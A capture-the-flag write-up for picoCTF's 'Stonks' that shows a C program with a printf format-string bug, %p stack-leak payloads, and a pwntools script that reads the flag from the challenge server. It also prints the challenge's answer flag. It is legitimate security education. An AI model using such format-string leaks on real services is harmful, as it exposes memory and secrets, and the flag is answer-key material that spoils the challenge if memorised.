picoCTF: Stonks

picoCTF, writeup, binary-exploitation

Info #

Problem link - picoCTF: Stonks

Solution #

A vulnerable C code is provided. It is also running on a server which can be connected using nc mercury.picoctf.net 20195. Instead of pasting the whole code, here is the vulnerable part -

// All we see is FLAAAGG
#define FLAG_BUFFER 128

// Ommited code 
int buy_stonks(Portfolio *p) {
	if (!p) {
		return 1;
	}
	char api_buf[FLAG_BUFFER];
	FILE *f = fopen("api","r");
	if (!f) {
		printf("Flag file not found. Contact an admin.\n");
		exit(1);
	}
	fgets(api_buf, FLAG_BUFFER, f);

	
	.
	.
	.
	.
	
	// TODO: Figure out how to read token from file, for now just ask
	char *user_buf = malloc(300 + 1);
	printf("What is your API token?\n");
	scanf("%300s", user_buf);
	printf("Buying stonks with token:\n");
	printf(user_buf);  // <----- Vulnerable part

	// TODO: Actually use key to interact with API
	view_portfolio(p);
	return 0;
}

Glancing at the last printf in the above code can reveal that we can do string format attack.

printf(user_buf);

Let’s check if it is possible or not by passing string format, for e.g. %p -

Welcome back to the trading app!

What would you like to do?
1) Buy some stonks!
2) View my portfolio
1
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
%p
Buying stonks with token:
0x8636410
Portfolio as of Wed Mar  9 14:12:50 UTC 2022


1 shares of EM
2 shares of JO
15 shares of JIU
24 shares of YEZZ
9 shares of IDFO
86 shares of XT
179 shares of L
1237 shares of WWCQ
397 shares of JYUF
Goodbye!

So, it is working. %p is giving up the value from stack frame.

Now we can pass multiple %p to get as much as we can from the stack frame. The variable user_buf is where our flag is kept. Here is the result after entering "%p." * 100(dot for separation) -

0x9085410.0x804b000.0x80489c3.0xf7eedd80.0xffffffff.0x1.0x9083160.0xf7efb110.0xf7eeddc7.(nil).0x9084180.0x1.0x90853f0.0x9085410.0x6f636970.0x7b465443.0x306c5f49.0x345f7435.0x6d5f6c6c.0x306d5f79.0x5f79336e.0x35343036.0x64303664.0xffa7007d.0xf7f28af8.0xf7efb440.0xf6b4b900.0x1.(nil).0xf7d8ace9.0xf7efc0c0.0xf7eed5c0.0xf7eed000.0xffa78928.0xf7d7b68d.0xf7eed5c0.0x8048eca.0xffa78934.(nil).0xf7f0ff09.0x804b000.0xf7eed000.0xf7eede20.0xffa78968.0xf7f15d50.0xf7eee890.0xf6b4b900.0xf7eed000.0x804b000.0xffa78968.0x8048c86.0x9083160.0xffa78954.0xffa78968.0x8048be9.0xf7eed3fc.(nil).0xffa78a1c.0xffa78a14.0x1.0x1.0x9083160.0xf6b4b900.0xffa78980.(nil).(nil).0xf7d30fa1.0xf7eed000.0xf7eed000.(nil).0xf7d30fa1.0x1.0xffa78a14.0xffa78a1c.0xffa789a4.0x1.(nil).0xf7eed000.0xf7f1070a.0xf7f28000.(nil).0xf7eed000.(nil).(nil).0xb2f522cd.0x5bf8e4dd.(nil).(nil).(nil).0x1.0x8048630.(nil).0xf7f15d50.0xf7f10960.0x804b000.0x1.0x8048630.(nil).0x8048662.0x8048b85.

Let’s convert this hex value to ASCII and see if there is something interesting -

output = "0x9085410.0x804b000.0x80489c3.0xf7eedd80.0xffffffff.0x1.0x9083160.0xf7efb110.0xf7eeddc7.(nil).0x9084180.0x1.0x90853f0.0x9085410.0x6f636970.0x7b465443.0x306c5f49.0x345f7435.0x6d5f6c6c.0x306d5f79.0x5f79336e.0x35343036.0x64303664.0xffa7007d.0xf7f28af8.0xf7efb440.0xf6b4b900.0x1.(nil).0xf7d8ace9.0xf7efc0c0.0xf7eed5c0.0xf7eed000.0xffa78928.0xf7d7b68d.0xf7eed5c0.0x8048eca.0xffa78934.(nil).0xf7f0ff09.0x804b000.0xf7eed000.0xf7eede20.0xffa78968.0xf7f15d50.0xf7eee890.0xf6b4b900.0xf7eed000.0x804b000.0xffa78968.0x8048c86.0x9083160.0xffa78954.0xffa78968.0x8048be9.0xf7eed3fc.(nil).0xffa78a1c.0xffa78a14.0x1.0x1.0x9083160.0xf6b4b900.0xffa78980.(nil).(nil).0xf7d30fa1.0xf7eed000.0xf7eed000.(nil).0xf7d30fa1.0x1.0xffa78a14.0xffa78a1c.0xffa789a4.0x1.(nil).0xf7eed000.0xf7f1070a.0xf7f28000.(nil).0xf7eed000.(nil).(nil).0xb2f522cd.0x5bf8e4dd.(nil).(nil).(nil).0x1.0x8048630.(nil).0xf7f15d50.0xf7f10960.0x804b000.0x1.0x8048630.(nil).0x8048662.0x8048b85.".split(".")

from binascii import unhexlify as uh

for i in output:
	if (i.startswith("0x") and len(i)==10):
		print(uh(i[2:].strip()))

Here is the output -

b'\xf7\xee\xdd\x80'
b'\xff\xff\xff\xff'
b'\xf7\xef\xb1\x10'
b'\xf7\xee\xdd\xc7'
b'ocip'
b'{FTC'
b'0l_I'
b'4_t5'
b'm_ll'
b'0m_y'
b'_y3n'
b'5406'
b'd06d'
b'\xff\xa7\x00}'
b'\xf7\xf2\x8a\xf8'
b'\xf7\xef\xb4@'
b'\xf6\xb4\xb9\x00'
b'\xf7\xd8\xac\xe9'
b'\xf7\xef\xc0\xc0'
b'\xf7\xee\xd5\xc0'
.
.
.

On line 5, you can spot pico in reverse. Followed by CTF{ in reverse as well.

Let’s write final code to get the flag -

######################
# Get data from server
######################
from pwn import *

conn = remote("mercury.picoctf.net", 20195)
conn.recvuntil(b'View my portfolio')
conn.send(b'1\n')

conn.recvuntil(b'What is your API token?\n')

conn.send(b'%p###'*100 + b'\n')

# Useless line(Buying stonks with token:) 
# Recieve and discard
conn.recvline()

# Our output 
output = conn.recvline().decode("utf-8").split("###")


print('\n'*3)
print(output)
print('\n'*3)

# Close connection
conn.close()


###########################
# Find flag from the output
###########################

from binascii import unhexlify as uh

flag = ""

for i in output:
	if (i.startswith("0x")):
		try: 
			unhexed = uh((i[2:].strip()))[::-1]
			flag += (unhexed).decode("utf-8")
		except:
			pass
print(flag)

PS > The output doesn’t have the closing curly braces. (some bug which I didn’t want to fix out of laziness)

Flag #

Here is the flag -

picoCTF{I_l05t_4ll_my_m0n3y_6045d60d}